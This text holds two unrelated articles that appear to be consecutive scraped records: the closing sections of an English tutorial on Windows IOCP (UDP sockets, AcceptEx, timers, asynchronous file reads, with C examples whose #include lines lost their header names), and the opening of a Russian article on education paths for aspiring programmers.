I have to explain the difference between reading data from a TCP and UDP sockets with IOCP. Although we used a beautiful way to get the signal from IOCP while using empty read buffer with `ReadFile()`, unfortunately it works only for TCP sockets. For UDP sockets we must provide the correct buffer with the maximum packet size, otherwise the message data will be cut (same as in UNIX, by the way). This buffer must stay valid until the operation completes. Then, after each asynchronous `ReadFile()` operation completes, I'm sure it's worth calling `recv()` in succession until it fails with `WSAEWOULDBLOCK`.
```
char buffer[64*1024];
ReadFile((HANDLE)udp_socket, buffer, sizeof(buffer), &rd, &obj->read_ctx);
```
It's slightly different situation with writing data to UDP sockets. We must provide the whole buffer with UDP message to `send()` and we never need to issue asynchronous operations with `WriteFile()`.
```
char data[] = ...;
send(udp_socket, data, size, 0);
```
Someone once told me that he tried to force `WriteFile()` to return with `ERROR_IO_PENDING` with calling it relentlessly in a tight loop but he couldn't do it - it always succeeded. That's because sending data to a UDP socket just works this way - the kernel either sends the whole packet or the packet just gets dropped. After all, it's the user code that is responsible for UDP packet delivery - not the system.
#### I/O Cancellation with IOCP
Now let me explain why this approach of IOCP with its `ReadFile/WriteFile` for socket I/O is worse than the UNIX approach with `recv/send` and KQ events. On UNIX, when the kernel can't complete my I/O request immediately, the functions just return with `EAGAIN` error and do nothing else. And then I must wait for a signal from KQ which means that now the same functions will give me some result. During the time I wait for a signal all kinds of stuff is happening in parallel, such as timer events, user interaction, signals from other processes, hardware errors, input data corruptions - all this stuff can easily change the whole picture for my app. And I want my code to be flexible in order to easily adapt to any changes.
The most basic example is the timer event. Imagine that while we're waiting for a specific socket event from KQ on UNIX, the timer has expired for this connection and I must now close the socket and destroy all data associated with this connection (i.e. destroy its context). It's very easy to do so with epoll or kqueue because I just go ahead and destroy everything immediately except the small portion which prevents from the stale cached events being handled by mistake. With IOCP, however, the `OVERLAPPED` object and the data associated with the ongoing asynchronous operation must both stay valid until I receive the notifications. And it's just very annoying because why would I want to receive unnecessary notifications from a thousand contexts when I have just initiated the closure of their associated sockets by myself? How does the notion of `receiving an event from a closed socket` sound in general? It sounds like nonsense to me. Maybe a schematic look can make my point clearer:
```
IOCP I/O Cancellation
====================
ReadFile(sk, rctx)
WriteFile(sk, wctx)
...
CloseHandle(sk)
...
GetQueuedCompletionStatusEx()
handle/skip wctx event
...
GetQueuedCompletionStatusEx()
handle/skip rctx event and destroy object data
```
while the same on UNIX is:
```
kqueue/epoll I/O Cancellation
=============================
recv(sk)
write(sk)
...
close(sk)
destroy object data and turn over the safety bit
```
In the end, IOCP's design is just different from that of kqueue and epoll. Maybe it's just me, but I have a feeling that there's not enough flexibility when I work with IOCP. It seems harder, it requires more code, more logical branches to support. But it is what it is.
#### Accepting socket connections with IOCP
Now let's see how we can use IOCP to accept incoming socket connections.
```
/* Kernel Queue The Complete Guide: iocp-accept.c: Accept socket connection
Link with -lws2_32
*/
#include
#include
#include
#include
#include
HANDLE kq;
LPFN\_ACCEPTEX KQAcceptEx;
LPFN\_GETACCEPTEXSOCKADDRS KQGetAcceptExSockaddrs;
struct context {
void (\*handler)(struct context \*obj);
OVERLAPPED accept\_ctx;
unsigned char local\_peer\_addrs[(sizeof(struct sockaddr\_in6) + 16) \* 2];
SOCKET client\_sock;
};
void accept\_handler(struct context \*obj)
{
DWORD res;
BOOL ok = GetOverlappedResult(NULL, &obj->accept\_ctx, &res, 0);
assert(ok);
printf("Accepted socket connection via IOCP\n");
// get local and peer network address of the accepted socket
int len\_local = 0, len\_peer = 0;
struct sockaddr \*addr\_local, \*addr\_peer;
KQGetAcceptExSockaddrs(obj->local\_peer\_addrs, 0, sizeof(struct sockaddr\_in6) + 16, sizeof(struct sockaddr\_in6) + 16, &addr\_local, &len\_local, &addr\_peer, &len\_peer);
char buf[1000];
int r = recv(obj->client\_sock, buf, 1000, 0);
assert(r >= 0);
char data[] = "HTTP/1.1 200 OK\r\n\r\nHello";
assert(sizeof(data)-1 == send(obj->client\_sock, data, sizeof(data)-1, 0));
}
void main()
{
// initialize sockets
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
// create KQ object
kq = CreateIoCompletionPort(INVALID\_HANDLE\_VALUE, NULL, 0, 0);
assert(kq != NULL);
struct context obj = {};
obj.handler = accept\_handler;
// create the listening socket
SOCKET lsock = socket(AF\_INET, SOCK\_STREAM, 0);
assert(lsock != INVALID\_SOCKET);
// make socket as non-blocking
int nonblock = 1;
ioctlsocket(lsock, FIONBIO, (unsigned long\*)&nonblock);
struct sockaddr\_in addr = {};
addr.sin\_family = AF\_INET;
addr.sin\_port = ntohs(64000);
assert(0 == bind(lsock, (struct sockaddr\*)&addr, sizeof(struct sockaddr\_in)));
assert(0 == listen(lsock, SOMAXCONN));
assert(NULL != CreateIoCompletionPort((HANDLE)lsock, kq, (ULONG\_PTR)&obj, 0));
// get extended socket function pointers
void \*func = NULL;
DWORD res;
GUID guid = WSAID\_ACCEPTEX;
WSAIoctl(lsock, SIO\_GET\_EXTENSION\_FUNCTION\_POINTER, (void\*)&guid, sizeof(GUID), &func, sizeof(void\*), &res, 0, 0);
KQAcceptEx = func;
func = NULL;
GUID guid2 = WSAID\_GETACCEPTEXSOCKADDRS;
WSAIoctl(lsock, SIO\_GET\_EXTENSION\_FUNCTION\_POINTER, (void\*)&guid2, sizeof(GUID), &func, sizeof(void\*), &res, 0, 0);
KQGetAcceptExSockaddrs = func;
assert(KQAcceptEx != NULL && KQGetAcceptExSockaddrs != NULL);
// try to accept a connection synchronously
obj.client\_sock = accept(lsock, NULL, 0);
assert(obj.client\_sock == INVALID\_SOCKET && GetLastError() == WSAEWOULDBLOCK); // we require this for our example
// begin asynchronous operation
obj.client\_sock = socket(AF\_INET, SOCK\_STREAM, 0);
assert(obj.client\_sock != INVALID\_SOCKET);
memset(&obj.accept\_ctx, 0, sizeof(obj.accept\_ctx));
BOOL ok = KQAcceptEx(lsock, obj.client\_sock, obj.local\_peer\_addrs, 0, sizeof(struct sockaddr\_in6) + 16, sizeof(struct sockaddr\_in6) + 16, &res, &obj.accept\_ctx);
assert(ok || GetLastError() == ERROR\_IO\_PENDING);
// wait for incoming events from KQ
OVERLAPPED\_ENTRY events[1];
ULONG n = 0;
int timeout\_ms = -1; // wait indefinitely
ok = GetQueuedCompletionStatusEx(kq, events, 1, &n, timeout\_ms, 0);
assert(ok);
assert(n == 1);
struct context \*o = (void\*)events[0].lpCompletionKey;
o->handler(o); // handle socket accept event
closesocket(obj.client\_sock);
closesocket(lsock);
CloseHandle(kq);
}
```
First, we call `accept()` as usual - we can always hope it will return immediately with a new client connetion and we won't need to go the long way with IOCP events.
```
csock = accept(lsock, NULL, 0);
```
But if it returns `INVALID_SOCKET` with `WSAEWOULDBLOCK`, it means that there are no clients at the moment and we must wait. Now we must use IOCP and a couple of new Windows-specific functions. `AcceptEx()` function begins an asynchronous operation which will signal us via IOCP when a new client connects to our listening socket. But since it's a real asynchronous operation and not just a signal like in kqueue or epoll, we must also provide it with a client socket descriptor created beforehand. Of course it must stay valid until the operation completes.
Another inconvenient thing is that we need to also supply it with the buffer where local and peer address will be stored. For some reason we must make 16 bytes more room in our buffer for each address. Please don't mind me allocating the space for IPv6 while using an IPv4 socket.
```
csock = socket(AF_INET, SOCK_STREAM, 0);
unsigned char local_peer_addrs[(sizeof(struct sockaddr_in6) + 16) * 2];
DWORD res;
OVERLAPPED ctx = {};
KQAcceptEx(lsock, csock, local_peer_addrs, 0, sizeof(struct sockaddr_in6) + 16, sizeof(struct sockaddr_in6) + 16, &res, &ctx);
```
After we receive a signal from IOCP, our client socket descriptor is a valid connected socket which we would get by calling `accept()`. The only difference now is that we must get the local and peer address by calling a new special function `GetAcceptExSockaddrs()` which finally returns us `struct sockaddr*` pointers.
```
int len_local = 0, len_peer = 0;
struct sockaddr *addr_local, *addr_peer;
KQGetAcceptExSockaddrs(local_peer_addrs, 0, sizeof(struct sockaddr_in6) + 16, sizeof(struct sockaddr_in6) + 16, &addr_local, &len_local, &addr_peer, &len_peer);
```
Don't forget that after processing each `AcceptEx()` signal we must proceed by calling `accept()` again, and if it fails - begin a new operation with `AcceptEx()`. We need so much more stuff to handle here in IOCP rather than very simple behaviour of the asynchronous `accept()` we have with kqueue and epoll. But this is the reality.
#### System timer events with IOCP
Now let's see how we can work with timers and receive timer signals with IOCP.
```
/* Kernel Queue The Complete Guide: iocp-timer.c: System timer events */
#include
#include
#include
HANDLE kq;
HANDLE tmr;
HANDLE evt;
struct context {
void (\*handler)(struct context \*obj);
};
void timer\_handler(struct context \*obj)
{
static int n;
printf("Received timer event via IOCP: %d\n", n++);
}
void \_\_stdcall timer\_func(void \*arg, DWORD dwTimerLowValue, DWORD dwTimerHighValue)
{
assert(0 != PostQueuedCompletionStatus(kq, 0, (ULONG\_PTR)arg, NULL));
}
int \_\_stdcall timer\_thread(void \*param)
{
int period\_ms = 1000;
long long due\_ns100 = (long long)period\_ms \* 1000 \* -10;
assert(SetWaitableTimer(tmr, (LARGE\_INTEGER\*)&due\_ns100, period\_ms, timer\_func, param, 1));
for (;;) {
int r = WaitForSingleObjectEx(evt, INFINITE, /\*alertable\*/ 1);
if (r == WAIT\_IO\_COMPLETION) {
} else if (r == WAIT\_OBJECT\_0) {
} else {
assert(0);
break;
}
}
return 0;
}
void main()
{
// create KQ object
kq = CreateIoCompletionPort(INVALID\_HANDLE\_VALUE, NULL, 0, 0);
assert(kq != NULL);
struct context obj = {};
obj.handler = timer\_handler;
// create timer object
tmr = CreateWaitableTimer(NULL, 0, NULL);
assert(tmr != NULL);
// create event object to control the timer thread
evt = CreateEvent(NULL, 0, 0, NULL);
assert(evt != NULL);
// start a new thread which will receive timer notifications
HANDLE thd = CreateThread(NULL, 0, (PTHREAD\_START\_ROUTINE)timer\_thread, &obj, 0, NULL);
assert(thd != NULL);
// wait for incoming events from KQ and process them
for (;;) {
OVERLAPPED\_ENTRY events[1];
ULONG n = 0;
int timeout\_ms = -1; // wait indefinitely
BOOL ok = GetQueuedCompletionStatusEx(kq, events, 1, &n, timeout\_ms, 0);
assert(ok);
struct context \*o = (void\*)events[0].lpCompletionKey;
o->handler(o); // handle event
}
CloseHandle(tmr);
// Note that we should correctly exit the thread with WaitForSingleObject(), but it's OK for our example
CloseHandle(thd);
CloseHandle(evt);
CloseHandle(kq);
}
```
There are 3 things we need to do first - create timer object, create a thread that will process timer events and create an event object for controlling this timer thread. All 3 functions return `NULL` on error.
```
HANDLE tmr = CreateWaitableTimer(NULL, 0, NULL);
HANDLE evt = CreateEvent(NULL, 0, 0, NULL);
HANDLE thd = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)timer_thread, NULL, 0, NULL);
```
Inside the thread function we start the timer by calling `SetWaitableTimer()` and we pass to it the timer interval along with the timer function.
```
int period_ms = 1000;
long long due_ns100 = (long long)period_ms * 1000 * -10;
assert(SetWaitableTimer(htmr, (LARGE_INTEGER*)&due_ns100, period_ms, timer_func, param, 1));
```
The timer function looks this way:
```
void __stdcall timer_func(void *arg, DWORD dwTimerLowValue, DWORD dwTimerHighValue)
{
}
```
The function is called each time the timer interval expires. But it won't be called unless we wait for incoming timer events. We can't do it via IOCP directly - we need to use another waiting function, for example `WaitForSingleObjectEx()` with *alertable state*. We also wait for events on our event descriptor we created earlier, but in this example I don't have a code which processes it.
```
for (;;) {
WaitForSingleObjectEx(evt, INFINITE, /*alertable*/ 1);
}
```
But the call to our timer function alone won't wake up our main thread, so we have to post a user event to it. And only then we have a working system timer via KQ. The signal delivery mechanism for a timer can be best explained by this diagram:
```
[Thread 2] [Thread 1]
main()
|- CreateThread(timer_thread)
timer_thread() |
|- SetWaitableTimer(timer_func) |
|- WaitForSingleObjectEx() |
|- timer_func() |
|- PostQueuedCompletionStatus(obj) |
with obj.handler=timer_handler |
|- GetQueuedCompletionStatusEx()
|- timer_handler()
```
But why do we need to post a user event into KQ while we can just process timer events in another thread? The reason for this is because in real world the timers are often used to close stalled connections. If we would try to do that directly from the timer thread, we will absolutely require a locking mechanism, because the KQ thread may operate with the same object at this time. So to simplify our code it's much better to do all the work from the same thread, thus eliminating the requirement to use per-object locks. The second reason for this is to emulate the behaviour of epoll and kqueue, thus making our code look similar everywhere. The third reason is just pure human logic which tells us that all we need is a single kernel queue mechanism for everything - we need a way to receive *any* event from the kernel and process it with the same code. We wouldn't need another thread for timer at all if Windows didn't force us.
#### Asynchronous file I/O with IOCP
File I/O with IOCP looks similar to file AIO API we used with kqueue. But file AIO on FreeBSD is still better than anything else because it supports unaligned and bufferred I/O, while file AIO on Linux and Windows require us to switch off kernel disk caching and require us using aligned buffers and offsets. It's interesting that due to the nature of IOCP the code doesn't look "off-topic" as with kqueue or epoll (there, file AIO tries to glue asynchronous operations with a pure event delivery mechanism). So in this situation I can't tell anything bad about IOCP because it delivers what it's designed for - asynchronous operations. Here's the code that reads from a file asynchronously.
```
/* Kernel Queue The Complete Guide: iocp-file.c: Asynchronous file reading
Usage:
echo Hello file AIO >iocp-file.txt
iocp-file
*/
#include
#include
#include
HANDLE kq;
struct context {
void (\*handler)(struct context \*obj);
HANDLE fd;
OVERLAPPED rctx;
};
void file\_io\_result(struct context \*obj)
{
DWORD res;
BOOL ok = GetOverlappedResult(NULL, &obj->rctx, &res, 0);
if (ok)
;
else if (GetLastError() == ERROR\_HANDLE\_EOF)
res = 0;
else
assert(0);
printf("Read from file with IOCP: %d\n", res);
}
void main()
{
// create KQ object
kq = CreateIoCompletionPort(INVALID\_HANDLE\_VALUE, NULL, 0, 0);
assert(kq != NULL);
struct context obj = {};
obj.handler = file\_io\_result;
// create a named pipe, FILE\_FLAG\_NO\_BUFFERING | FILE\_FLAG\_OVERLAPPED are mandatory
obj.fd = CreateFileW(L"iocp-file.txt"
, GENERIC\_READ, FILE\_SHARE\_READ | FILE\_SHARE\_WRITE | FILE\_SHARE\_DELETE, NULL, OPEN\_EXISTING
, FILE\_ATTRIBUTE\_NORMAL | FILE\_FLAG\_NO\_BUFFERING | FILE\_FLAG\_OVERLAPPED, NULL);
assert(obj.fd != INVALID\_HANDLE\_VALUE);
// attach file to KQ
assert(NULL != CreateIoCompletionPort(obj.fd, kq, (ULONG\_PTR)&obj, 0));
void \*buf = HeapAlloc(GetProcessHeap(), 0, 4\*1024);
assert(buf != NULL);
// begin asynchronous file read operation
memset(&obj.rctx, 0, sizeof(obj.rctx));
unsigned int size = 4\*1024;
unsigned long long off = 0;
obj.rctx.Offset = (unsigned int)off;
obj.rctx.OffsetHigh = (unsigned int)(off >> 32);
BOOL ok = ReadFile(obj.fd, buf, size, NULL, &obj.rctx);
assert(GetLastError() != ERROR\_HANDLE\_EOF);
assert(ok || GetLastError() == ERROR\_IO\_PENDING);
// asynchronous file reading is in progress, now wait for the signal from KQ
OVERLAPPED\_ENTRY events[1];
ULONG n = 0;
int timeout\_ms = -1; // wait indefinitely
ok = GetQueuedCompletionStatusEx(kq, events, 1, &n, timeout\_ms, 0);
assert(ok);
struct context \*o = (void\*)events[0].lpCompletionKey;
o->handler(o); // handle read event
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(obj.fd);
CloseHandle(kq);
}
```
File descriptor must be opened with `FILE_FLAG_NO_BUFFERING | FILE_FLAG_OVERLAPPED` flags, otherwise asynchronous operations won't work.
To initiate an asynchronous file reading operation we call `ReadFile()` on a file descriptor and supply the parameters: aligned buffer pointer, aligned maximum number of bytes to read, aligned file offset. Remember that if the function fails immediately or asynchronously with `ERROR_HANDLE_EOF` error it simply means that we've reached file end. It's always interesting to see how Windows functions are designed: here we pass buffer and size as function parameters, but we pass file offset via `OVERLAPPED` object even though all 3 parameters are bound together for a single operation.
```
void *buf = ...;
unsigned int size = ...;
unsigned long long off = ...;
OVERLAPPED ctx = {};
ctx.Offset = (unsigned int)off;
ctx.OffsetHigh = (unsigned int)(off >> 32);
ReadFile(fd, buf, size, NULL, &ctx);
```
Writing asynchronously to a file is the same as reading, except we would call `WriteFile()`. However, writing into a new file (into an unallocated disk space) on NTFS is **always blocking** and it isn't in fact asynchronous at all. So you should first allocate enough disk space before writing new data to a file using this method to achieve truely asynchronous behaviour.
#### Conclusion
So I've written here nearly everything that I know about kernel queues and I hope that this guide helped you at least with something. I've made a new repository on GitHub so that you can easily download all examples and so that we all can improve the code together: <https://github.com/stsaz/kernel-queue-the-complete-guide>.
I understand that the low-level KQ APIs aren't very popular because the developers would rather use some library which handles all these complexities inside than waste their time trying to understand how it all works... But come on, since when did we start to ignore the true nature of the things? If you would sit down and write your own function wrappers for all KQs you will have a small library where you will understand every single line. You will have a complete experience which will absolutely help you with your future work. It will make you smarter, it will make you better. After all, isn't it what we are here in this world for? To make ourselves better with each passing day, to grow in confidence, to grow in experience, in knowledge? | https://habr.com/ru/post/600123/ | null | en | null |
# Образование программисту – Что? Где? Когда?
Привет, Хабр! Уже много сказано об образовании, в частности для программистов, о программах, что лучше подходят или не подходят, но каждый год ситуация меняется и как бы грустно не было, в этом надо разбираться (будь ты абитуриент или работодатель). Очень важно начать свой путь именно с выбора `alma mater`… Прошу под кат всех, кого не испугает длинная статья по теме.
**Warning!**Данную статью/пост можно рассматривать как туториал или справочник для всех, кто уже в IT или хочет связать свою жизнь с IT. Сразу оговоримся: здесь пойдет речь не про системных администраторов, дизайнеров или инженеров, а именно про программистов (от 1С до Deep learning).
0 – Нулевая ступень. Школьное образование. Средняя школа (с 5 по 9 классы)
--------------------------------------------------------------------------
Первое с чем мы сталкиваемся в жизни – школа. Это просто огромная часть нашей жизни, зачастую наш второй дом (к сожалению, в текущих реалиях – с точки зрения времени проведенного в школе). И как к очень важному событию, необходимо ответственно и осознанно подойти к выбору своего будущего учебного заведения.
***Математика***
Особую роль в жизни человека, склонного к рациональному мышлению или любящего думать, играют точные науки такие как: математика, физика и информатика. Многие могут спорить о том, что математика не сильно нужна в бóльшем спектре задач в сфере IT, но позвольте не согласиться. Всё, начиная с механических счетных машин до создания первого компьютера, было основано на математических принципах и моделях. Да, это, безусловно, был не один узкий раздел математики, но для каждой задачи необходим свой подход и он мог быть найден в математике. Умение думать ещё никому не мешало, это очень полезный навык, но одной здравой мысли мало, нужна дополнительная библиотека, с помощью которой ты сможешь реализовать свою задумку. Так вот в роли такой библиотеки выступает математика.
***Физика***
Физика “чистому” программисту не нужна, но если ещё юный разум понимает, что просто так науки не дают, то он прав. Физика не нужна там, где даже теоретически её не применяют, но в целом спектре задач она оказывается просто жизненно необходимой. Посмотрите хотя бы на разработку игр, вы можете использовать уже готовые решения, движки, но разве вы не хотели бы что-то исправить, переделать или попросту понять как же это работает? А если нужно будет переделать? Без знания фундаментальных основ вы будете рыться в учебниках или на сайтах в поисках истины, но если вы знаете что это и как это применять, то вам не придётся тратить время на поиски и терять нервные клетки. Вас начнут ценить не просто как monkey-кодера, но как человека думающего, способного решить фундаментальную проблему. Разве не в этом смысл? Все научные расчеты, визуализации, и другие вещи сейчас делают на компьютерах, а программы пишут те самые программисты.
Её также стоит принять и потому, что она решает целый ряд бытовых задач. Например, если у вас неполадки с блоком питания, то вы запросто замените взорвавшийся конденсатор и продолжите работу. Вы поймете, почему могут возникать сбои в работе на аппаратном уровне и как этого избежать. Поэтому в школьные годы физику точно не стоит избегать, тем более, что программа не такая уж и сложная.
***Информатика***
Что тут можно сказать – не беда, если у тебя что-то не получается или тебе не слишком нравится (ведь это только средняя школа). Но, если тебе нравится и чувствуешь порыв заниматься этим – прекрасно!
В российских реалиях без уроков информатики идти в программирование не столь привлекательно. Вас, конечно, научат в некоторых ВУЗах, но это будет не слишком правильный подход и скорее всего, вы бросите это дело.
Стоит ли учить программисту информатику или больше внимания уделить математике в школе? Хороший вопрос, все зависит от того насколько у вас хорошо обстоят дела с каждым из предметов. Нельзя за счет первого довольствоваться вторым.
Самое главное – принимайте участие в олимпиадах. Так вы становитесь умнее, набираетесь опыта и знакомитесь лучше с миром “думающих” людей. Возможно, тебе настолько не повезет, что ты не выиграешь ни одной олимпиады, но скажу хорошую новость: я не знаю ни одного человека, который бы постоянно участвовал в этой движухе и не выиграл бы ни одной олимпиады (или хотя бы не стал призёром).
Можно сказать, что школьное знание этих предметов имеет намного больше плюсов, чем минусов. Чем ты моложе, тем больше ты должен впитывать полезной информации.
1 – Первая ступень. Школьное образование. Старшая школа (с 10 по 11 класс)
--------------------------------------------------------------------------
Встает нелёгкий выбор: посвятить своё время хорошему обучению и сдаче гос. экзаменов (таких как ЕГЭ), или, может вникнуть в профессиональную деятельность и начать заниматься прикладным программированием, а может вовсе сделать упор на олимпиады и алгоритмы?
Однозначного ответа нет, хотя я по-прежнему советую принимать участие в олимпиадах, это очень полезно.
Что касается посвящения себя “настоящему” программированию, то этот путь подойдет не каждому. Цель, которую в итоге необходимо достичь – это стать программистом, настоящим профессиональным “брэйн-кодером”. Вспомним истории тех людей, что бросали университеты и затем становились миллиардерами в it сфере: Стив Джобс, Билл Гейтс, Марк Цукерберг, Майкл Делл и другие. Но поймите одну очень важную вещь: никто из них не ставил своей целью бросить учебу. Кто-то был сыном богатых родителей и имел талант к ведению бизнеса, кто-то родился в именитой семье и тоже не был дураком, кому-то же повезло меньше, но он был гениален. У каждого своя история, но если одни бросают учебу из-за трудностей в выживании и только потом “встают на ноги”, то другие сразу имеют фору в виде семьи и им нет никакого дела до обучения, когда можно взять и открыть своё дело.
К слову сказать, несмотря на престижный статус семей Цукерберга и Гейтса они были талантливыми учениками и проводили своё время в лучших университетах мира.
Так вот, если жизненная ситуация позволяет чувствовать себя хорошо: у тебя есть дом, еда и близкие люди, то никогда не надо жертвовать определенным настоящим, ради неопределенного будущего. Учись, пока есть возможность, пиши программы, учи точные науки, ведь в итоге твоя первая значимая цель в таком случае – хороший ВУЗ. Но будь то ЕГЭ или олимпиады, готовиться надо. Ты можешь не тратить время на такие вещи как биология, химия, география, потому что тебе сейчас они точно не нужны, в 10-11 классах там слишком узкая информация и нет смысла запоминать сколько месторождений нефти в Тюмени или какое потомство будет у пятнистой кошки. Конечно, IT сфера намного более толерантная в плане трудоустройства, но ты можешь начать комплексовать из-за того, что остальные с образованием, а ты нет, что одни прошли какие-то ступени, а ты нет и даже если потом ты будешь в 5 раз превосходить по мастерству своих коллег, то тебя не будет покидать ощущение, что ты что-то не успел, забыл, не доделал…
В общем, теперь более подробно про обучение.
Если ставить целью хороший ВУЗ, то нужна хорошая школа. Как её выбрать? Очень просто: гуглить рейтинги школ/лицеев, читать про каждый понравившийся, поспрашивать учащихся и составить свой контрольный рейтинг. В итоге, поступай туда, где тебе будет комфортно во всех отношениях. Придется много работать, но оно того стоит.
Но если ты не попал туда, куда хотел, то не надо отчаиваться. Во-первых, вспомни про самообразование, тем более оно пригодится тебе ещё не раз. Во-вторых, у тебя появилась огромная возможность потратить время на хорошую подготовку. Скорее всего, в олимпиадном направлении преподаватель тебе уже не поможет, но ты можешь отлично подготовиться к ЕГЭ. Ищи курсы, построй график занятий и начинай работать. Если ты будешь четко следовать графику, то ты увидишь, насколько лучше ты стал знать материал. Так что это вполне достижимо, набрать 300 или 400 баллов на ЕГЭ. Ищи курсы, читай книги, решай варианты!
[Рейтинг школ на 2017/2018 год](https://www.mos.ru/donm/function/ratings-vklada-school/reiting-vklada-shkol-017-2018/)
Пора ботать!
2 – Первая альтернативная ступень. Колледж (после 9 класса)
-----------------------------------------------------------
Очень неожиданно. Кого интересуют колледжи? — спросите вы. Тысячи девятиклассников — отвечу я.
Может для кого-то будет новостью, но в нашей стране есть следующий тип заведений – колледж.
Ещё лет 10 назад колледжи поголовно напоминали те самые ПТУ, которые выступают в роли мемов на разных интернет площадках. Но уже буквально сегодня спрос на СПО (среднее профессиональное образование) возрос многократно среди учащихся. С чем это связано? Я могу назвать несколько причин:
1. Отсутствие необходимости сдавать ЕГЭ при поступлении и после окончания.
2. Внутренние экзамены в университет.
3. Профессиональные навыки и профильные предметы.
4. Дипломированный специалист.
Очень многим не нравится система ЕГЭ и поэтому зачастую это является первой причиной пойти в колледж. Нельзя за это осуждать, т.к. любой экзамен это стресс, а если его еще и пересдать нельзя в тот же год, то тем более. На самом деле, по-хорошему это должна быть самая малозначимая причина. Многих прельщает возможность сдавать внутренние экзамены вместо ЕГЭ.
Профессиональные навыки и профильные предметы это просто неотъемлемая часть каждого колледжа. Помимо того, что вы получаете базовые знания в проф. области вы уже начинаете применять их в этой области. Технические знания, навыки, опыт, все это делает данное учебное заведение ещё привлекательнее.
Ну и конечно, диплом, который говорит, что вы стали специалистом в своей области (~~на самом деле нет~~).
*Все начинается с выбора направления обучения и подачи заявления в приёмную комиссию.* Это очень похоже на приём заявок в ВУЗе, где точно также сидят люди за столиком, зазывают студенты и предлагают поступать к ним на факультет. Хочу представить вам специальность, на которой сейчас доучиваюсь последний год я (специальностей по программированию не так уж и много, есть ещё прикладная информатика, но наиболее разумный выбор именно ПКС).
09.02.03 – Программирование в компьютерных системах (ПКС).
[Ссылка на описание и список ссузов](http://www.edu.ru/abitur/act.21/fgos.230115/st.1/index.php)
Т.к. мы говорим о программистах, то логично предположить, что наиболее подходящая специальность это ПКС. Она целиком и полностью направлена на подготовку кадров разбирающихся в современных трендах прикладного программирования. Будь то веб или десктоп, может даже мобильная разработка это всё относится к этой специальности. Во многих учебных заведениях программа может варьироваться, но наиболее распространенные обязательные дисциплины это: 10-11 класс (стандартно — первый год обучения, обычно упор сделан на математику и физику), основы программирования, алгоритмизация (основы алгоритмизации), элементы математической логики (а-ля “light” версия дискретной математики), основы математического анализа (в которую частично включена программа линейной алгебры первого семестра технического вуза), операционные системы, сети и системы связи, архитектура компьютерных систем. На старших курсах могут появиться такие предметы как: прикладное программирование, веб-программирование, информационная безопасность. От колледжа к колледжу меняются программы обучения, направленность, но так или иначе эти предметы есть всегда. Всегда нужно просматривать программу обучения на официальном сайте учебного заведения, это важно.
**Я немного описал тут предметы, которые у нас были**– Основы программирования:
На этих занятиях вы будете познавать “азы” логики, учиться писать код, и разбирать блок-схемы (вариативная часть). Довольно полезные занятия, чтобы вообще вникнуть во всю эту систему и понять что к чему. Если у вас уже есть опыт в программировании, то занятия могут показаться вам скучными, тут уже ничего не поделаешь.
– Алгоритмизация:
Ну что тут можно сказать, этот предмет посвящен алгоритмам. Но будьте аккуратны, например, в нашей программе под этим подразумевались: машина Тьюринга, машина Марка и машина Поста. Так сказать давали задачи на логику. Далее были примеры рекурсии и понятия функций и прочее, но в математическом аспекте. Вы должны понимать, что здесь все будет зависеть от преподавателя.
Комментарий от автора:
> Этот курс один из немногих, что мне понравился в учебном заведении, где я учился, и не потому что там был уникальный или интересный преподаватель, а потому что мы прониклись этими идеями и задачами, пытались решать на скорость и затем сравнивали наши решения между собой и искали лучшее! Это было действительно круто! Правда когда нам объясняли рекурсию с помощью мат. формул, то сделали это настолько плохо, что решения задач мы просто подбирали опытным путем…
– Математическая логика:
Это небольшой курс дискретной математики для общего развития. Лично я понял не только понятие множества и что такое ДНФ, а также как принципиально работает процессор и многое другое. Т.е. математика, но она, во-первых, пригодится в Вузе, а во-вторых, открывает глаза на многие вещи.
– Основы математического анализа и линейная алгебра
Если кратко: основные понятия из каждого семестра Вузовской программы. Т.е. мы решали дифференциальные уравнения, но допустим про двойные интегралы нам не рассказывали. По линейной алгебре нам рассказали про матрицы, какие есть операции над ними и что такое определитель и как его считать.
> Честно сказать, я остался доволен этой программой, т.е. это просто введение в курс высшей математики, но нам попался настолько замечательный преподаватель, что мне очень все понравилось, я решал всё что нам давали и соревновался с одногруппниками, чтобы сделать все побыстрее (и правильно, конечно, тоже). Однозначно, стоит посещать эти занятия, тем более эта база пригодится вам в университете.
– Теория вероятностей и мат. статистика
Эти две дисциплины вел у нас тот же преподаватель, что и основы мат. анализа. Т.е. было замечательно. Эти лекции также пригодятся вам в Вузе.
– Архитектура компьютерных систем
Отличный возможность понять как работает компьютер на физическом уровне, что происходит с “железом” в момент работы и пр. Рассматриваются принципы построения архитектуры микроконтроллеров, процессоров и пр. Возможна также работа в программе LogiSim и выполнение в ней практических работ.
> К сожалению, нам попался очень ленивый преподаватель и мы почти так ничего и не поняли. Он постоянно втыкал в свой ноутбук и на “отстань” давал работы, которые сам не понимал как сделать. Так бывает, ничего не поделать.
– Операционные системы
Курс по операционным системам рассматривает, собственно, работу современных операционных систем (Linux, Windows, системы реального времени и пр.). Имеются также лабораторные.
> Не идеально, но я узнал про сигналы в линуксе, про различные архитектуры построения операционных систем, а также научился работать в vim!
– Сети и системы связи
Курс по сетям просто необходим программисту. Если ты не знаешь, что такое маска, или чем адрес сети отличается от адреса узла, то будешь выглядеть белой вороной. Здесь рассмотрены основные понятия в терминологии сетей, топологии, организована работа в Cisco Packet Tracer и даже настройка реального оборудования.
> У нас было два похожих предмета и оба про сети. Один вел ленивый препод с “архитектур”, а вот второй рассказывал нам довольно полезные вещи. Я пытался выжимать по максимум с этих занятий и выполнял все работы, что только мог. Однозначно, лайк дисциплинам.
– Системное программирование
Курс по системному программированию рассматривает низкоуровневое программирование на языках ассемблера. В моём колледже это был MASM611. Полезный вводный курс для тех, кто хочет узнать ещё больше о том, что творится в компьютере уже с точки зрения программиста. Лабораторные, теория — всё по “феншую”.
> Вот вы знаете, например, почему в нормальных языках индекс первого элемента в массиве начинается с нуля?
**Ответ**Потому что индекс это просто смещение в памяти на размер типа элемента массива, а первый элемент и так находится в самом начале.
– Прикладное программирование
Этот курс является обязательным, но программа обучения выбирается и проводится каждым преподавателем по-своему. на выбор могут быть представлены совершенно разные языки программирования. Собственно, самый важный курс для программиста.
